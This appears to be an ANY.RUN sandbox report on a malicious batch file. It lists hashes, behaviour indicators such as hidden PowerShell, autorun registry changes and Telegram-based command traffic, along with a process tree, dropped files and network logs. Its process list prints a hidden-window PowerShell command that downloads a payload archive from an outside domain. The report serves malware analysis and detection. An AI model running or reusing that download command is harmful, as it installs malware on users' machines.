File name:

m.bat.malware

Full analysis: https://app.any.run/tasks/a50cfc50-8f52-43ec-b2cc-5cdef9841f15
Verdict: Malicious activity
Analysis date: December 18, 2024, 19:20:08
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
lua
telegram
Indicators:
MIME: text/plain
File info: Unicode text, UTF-16, little-endian text, with very long lines (32767), with no line terminators
MD5:

423F196B066193F521B6E70E2FBF0655

SHA1:

759BE221807045BBAF4C6A242D85968F413C57B0

SHA256:

89F186CD25FD67F73A81FECAF5D4B8916A044ECA036D5D1A4559F55A6AB3ACA4

SSDEEP:

6144:R/VapM5oO1FzfcOx7uzCbX+R5SisWoQxL:lwyCO/HTE5StWN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 4076)
      • powershell.exe (PID: 5876)

    • Changes the autorun value in the registry

      • fixcpp.exe (PID: 1556)
      • fixcpp.exe (PID: 6084)

  • SUSPICIOUS

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 5876)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5876)
      • fixcpp.exe (PID: 6084)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6244)

    • There is functionality for taking screenshot (YARA)

      • vlc.exe (PID: 5880)

    • Starts application with an unusual extension

      • cmd.exe (PID: 6244)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 4076)

    • Likely accesses (executes) a file from the Public directory

      • powershell.exe (PID: 5876)
      • wscript.exe (PID: 5076)
      • cmd.exe (PID: 4308)
      • cmd.exe (PID: 236)

    • Process drops python dynamic module

      • powershell.exe (PID: 5876)
      • WinRAR.exe (PID: 3564)

    • Process drops legitimate windows executable

      • WinRAR.exe (PID: 3564)
      • powershell.exe (PID: 5876)
      • fixcpp.exe (PID: 6084)

    • The process executes VB scripts

      • cmd.exe (PID: 6244)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 5076)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 5076)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 5876)
      • fixcpp.exe (PID: 6084)

    • Executes application which crashes

      • fixcpp.exe (PID: 6084)
      • fixcpp.exe (PID: 1556)

    • Process communicates with Telegram (possibly using it as an attacker's C2 server)

      • AddInProcess32.exe (PID: 4996)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 5076)

    • Connects to unusual port

      • AddInProcess32.exe (PID: 4996)

  • INFO

    • Reads the computer name

      • vlc.exe (PID: 5880)
      • AddInProcess32.exe (PID: 4996)
      • MSBuild.exe (PID: 7096)

    • Sends debugging messages

      • vlc.exe (PID: 5880)

    • Checks supported languages

      • vlc.exe (PID: 5880)
      • chcp.com (PID: 3288)
      • AddInProcess32.exe (PID: 4996)
      • fixcpp.exe (PID: 6084)
      • MSBuild.exe (PID: 7096)

    • Manual execution by a user

      • cmd.exe (PID: 6244)
      • notepad.exe (PID: 2212)
      • notepad.exe (PID: 6524)
      • WinRAR.exe (PID: 6960)
      • WinRAR.exe (PID: 3564)
      • cmd.exe (PID: 236)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 5876)

    • Disables trace logs

      • powershell.exe (PID: 4076)

    • Changes the display of characters in the console

      • cmd.exe (PID: 6244)

    • Reads security settings of Internet Explorer

      • notepad.exe (PID: 6524)

    • Checks proxy server information

      • powershell.exe (PID: 4076)
      • AddInProcess32.exe (PID: 4996)
      • WerFault.exe (PID: 4264)
      • WerFault.exe (PID: 1796)

    • The process uses Lua

      • vlc.exe (PID: 5880)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 5876)

    • The sample compiled with english language support

      • powershell.exe (PID: 5876)
      • WinRAR.exe (PID: 3564)
      • fixcpp.exe (PID: 6084)

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 3564)

    • The process uses the downloaded file

      • wscript.exe (PID: 5076)

    • Reads the software policy settings

      • WerFault.exe (PID: 4264)
      • AddInProcess32.exe (PID: 4996)

    • Reads the machine GUID from the registry

      • AddInProcess32.exe (PID: 4996)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.mp3 | MP3 audio (ID3 v1.x tag) (45.4)
.txt | Text - UTF-16 (LE) encoded (36.3)
.mp3 | MP3 audio (18.1)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
156
Monitored processes
24
Malicious processes
7
Suspicious processes
2

Behavior graph

Click at the process to see the details
start vlc.exe rundll32.exe no specs cmd.exe no specs conhost.exe no specs chcp.com no specs powershell.exe notepad.exe no specs notepad.exe no specs powershell.exe winrar.exe no specs winrar.exe wscript.exe no specs cmd.exe no specs conhost.exe no specs fixcpp.exe addinprocess32.exe werfault.exe cmd.exe no specs conhost.exe no specs fixcpp.exe addinprocess32.exe no specs installutil.exe no specs msbuild.exe no specs werfault.exe

Process information

PID
CMD
Path
Indicators
Parent process
236C:\WINDOWS\system32\cmd.exe /c ""C:\Users\Public\Downloads\NetFramework\xplorer.bat" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
3221226505
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
1556fixcpp.exeC:\Users\Public\Downloads\NetFramework\fixcpp.exe
cmd.exe
User:
admin
Company:
The Qt Company Ltd.
Integrity Level:
MEDIUM
Description:
Qt Qtpaths
Exit code:
3221226505
Version:
5.15.2.0
Modules
Images
c:\users\public\downloads\netframework\fixcpp.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\users\public\downloads\netframework\vcruntime140.dll
c:\users\public\downloads\netframework\qt5core.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
1796C:\WINDOWS\system32\WerFault.exe -u -p 1556 -s 764C:\Windows\System32\WerFault.exe
fixcpp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
2212"C:\WINDOWS\System32\NOTEPAD.EXE" C:\Users\admin\AppData\Local\Temp\y.batC:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
3188"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe—fixcpp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
.NET Framework installation utility
Version:
4.8.9037.0 built by: NET481REL1
3288chcp 65001 C:\Windows\System32\chcp.com—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Change CodePage Utility
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\chcp.com
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\fsutilext.dll
3564"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\AppData\Local\Temp\fixcpp.zip" C:\Users\admin\AppData\Local\Temp\fixcpp\C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
4076powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://suatuoivinamilk.com/fixcpp.zip' -OutFile 'C:\Users\admin\AppData\Local\Temp\fixcpp.zip'" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4264C:\WINDOWS\system32\WerFault.exe -u -p 6084 -s 732C:\Windows\System32\WerFault.exe
fixcpp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
4308"C:\Windows\System32\cmd.exe" /c "C:\Users\Public\Downloads\NetFramework\xplorer.bat"C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
3221226505
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
Total events
25 627
Read events
25 489
Write events
115
Delete events
23

Modification events

(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Operation:writeName:NodeSlots
Value:
02020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Operation:writeName:MRUListEx
Value:
040000000E0000000300000000000000100000000F0000000C0000000D0000000B000000050000000A000000090000000800000001000000070000000600000002000000FFFFFFFF
(PID) Process:(6524) notepad.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:GlobalAssocChangedCounter
Value:
105
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\4
Operation:writeName:MRUListEx
Value:
040000000000000005000000020000000100000003000000FFFFFFFF
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\119\Shell
Operation:writeName:SniffedFolderType
Value:
Documents
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Operation:writeName:MRUListEx
Value:
0E000000040000000300000000000000100000000F0000000C0000000D0000000B000000050000000A000000090000000800000001000000070000000600000002000000FFFFFFFF
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\119\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}
Operation:writeName:Mode
Value:
4
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\119\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}
Operation:writeName:LogicalViewMode
Value:
1
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\119\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}
Operation:writeName:FFlags
Value:
(PID) Process:(6524) notepad.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags\119\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}
Operation:writeName:IconSize
Value:
16
Executable files
310
Suspicious files
599
Text files
2 711
Unknown types
2

Dropped files

PID
Process
Filename
Type
4076powershell.exeC:\Users\admin\AppData\Local\Temp\fixcpp.zip —
MD5:—
SHA256:—
5876powershell.exeC:\Users\Public\Downloads\NetFramework\libclang.dll —
MD5:—
SHA256:—
5880vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.initext
MD5:EC0508F3DA72BED071DD4927A99F8AD7
SHA256:E6183F09D96415330763431D5E32E568D25BF06F6B49E56CC34717E6AF489F8D
5876powershell.exeC:\Users\Public\Downloads\NetFramework\msvcp140_2.dllexecutable
MD5:E7A91F7C9D91F0F7857632436B121781
SHA256:63F1A20CB17EC5E0CA4EBEA870B68740F24E063E28B235C3C8B58A3D8F57A9C4
5880vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.Mg5880text
MD5:EC0508F3DA72BED071DD4927A99F8AD7
SHA256:E6183F09D96415330763431D5E32E568D25BF06F6B49E56CC34717E6AF489F8D
5880vlc.exeC:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.locktext
MD5:C928B7ACA4B9023B681291049B0DD746
SHA256:4B21C9634BED36658EF46DCF4F7E201B54500A1886FCC406949B7003FE989AB0
5876powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lszwakcw.rwc.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5876powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_eckfq3kl.ang.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4076powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0zlw3bee.o3w.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4076powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:DE3793083486EFDA3870640EACC3BA00
SHA256:8B8CC09FF082244592FCC3D811C38B41C1DBB16AE744D87321FB5684CFFE3109
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
63
DNS requests
25
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5064
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
—
—
GET
200
184.24.77.27:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
1472
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6012
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6012
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
4264
WerFault.exe
GET
200
23.48.23.169:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
4264
WerFault.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
488
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4712
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
104.126.37.155:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5064
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
184.24.77.27:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
40.126.31.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 20.73.194.208
whitelisted
www.bing.com
  • 104.126.37.155
  • 104.126.37.146
  • 104.126.37.162
  • 104.126.37.153
  • 104.126.37.170
  • 104.126.37.147
  • 104.126.37.145
  • 104.126.37.160
  • 104.126.37.163
whitelisted
google.com
  • 142.250.181.238
whitelisted
ocsp.digicert.com
  • 192.229.221.95
unknown
crl.microsoft.com
  • 184.24.77.27
  • 184.24.77.38
  • 184.24.77.12
  • 184.24.77.41
  • 184.24.77.10
  • 184.24.77.7
  • 184.24.77.6
  • 184.24.77.30
  • 184.24.77.29
  • 23.48.23.169
  • 23.48.23.164
  • 23.48.23.137
  • 23.48.23.180
  • 23.48.23.167
  • 23.48.23.161
  • 23.48.23.193
  • 23.48.23.176
  • 23.48.23.166
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 88.221.169.152
whitelisted
login.live.com
  • 40.126.31.67
  • 20.190.159.71
  • 20.190.159.0
  • 20.190.159.2
  • 40.126.31.73
  • 40.126.31.69
  • 20.190.159.73
  • 40.126.31.71
whitelisted
go.microsoft.com
  • 23.213.166.81
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted
fd.api.iris.microsoft.com
  • 20.223.35.26
whitelisted

Threats

PID
Process
Class
Message
—
—
Misc activity
ET HUNTING Telegram API Domain in DNS Lookup
—
—
Misc activity
ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI)
—
—
Misc activity
ET HUNTING Telegram API Certificate Observed
Process
Message
vlc.exe
main libvlc debug: VLC media player - 3.0.11 Vetinari
vlc.exe
main libvlc debug: configured with ../extras/package/win32/../../../configure '--enable-update-check' '--enable-lua' '--enable-faad' '--enable-flac' '--enable-theora' '--enable-avcodec' '--enable-merge-ffmpeg' '--enable-dca' '--enable-mpc' '--enable-libass' '--enable-schroedinger' '--enable-realrtsp' '--enable-live555' '--enable-dvdread' '--enable-shout' '--enable-goom' '--enable-caca' '--enable-qt' '--enable-skins2' '--enable-sse' '--enable-mmx' '--enable-libcddb' '--enable-zvbi' '--disable-telx' '--enable-nls' '--host=x86_64-w64-mingw32' '--with-breakpad=https://win.crashes.videolan.org' 'host_alias=x86_64-w64-mingw32' 'PKG_CONFIG_LIBDIR=/home/jenkins/workspace/vlc-release/windows/vlc-release-win32-x64/contrib/x86_64-w64-mingw32/lib/pkgconfig'
vlc.exe
main libvlc debug: revision 3.0.11-0-gdc0c5ced72
vlc.exe
main libvlc debug: Copyright © 1996-2020 the VideoLAN team
vlc.exe
main libvlc debug: min period: 1 ms, max period: 1000000 ms
vlc.exe
main libvlc debug: using multimedia timers as clock source
vlc.exe
main libvlc debug: loading plugins cache file C:\Program Files\VideoLAN\VLC\plugins\plugins.dat
vlc.exe
main libvlc debug: searching plug-in modules
vlc.exe
main libvlc debug: recursively browsing `C:\Program Files\VideoLAN\VLC\plugins'
vlc.exe
main libvlc debug: opening config file (C:\Users\admin\AppData\Roaming\vlc\vlcrc)
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
m.bat.malware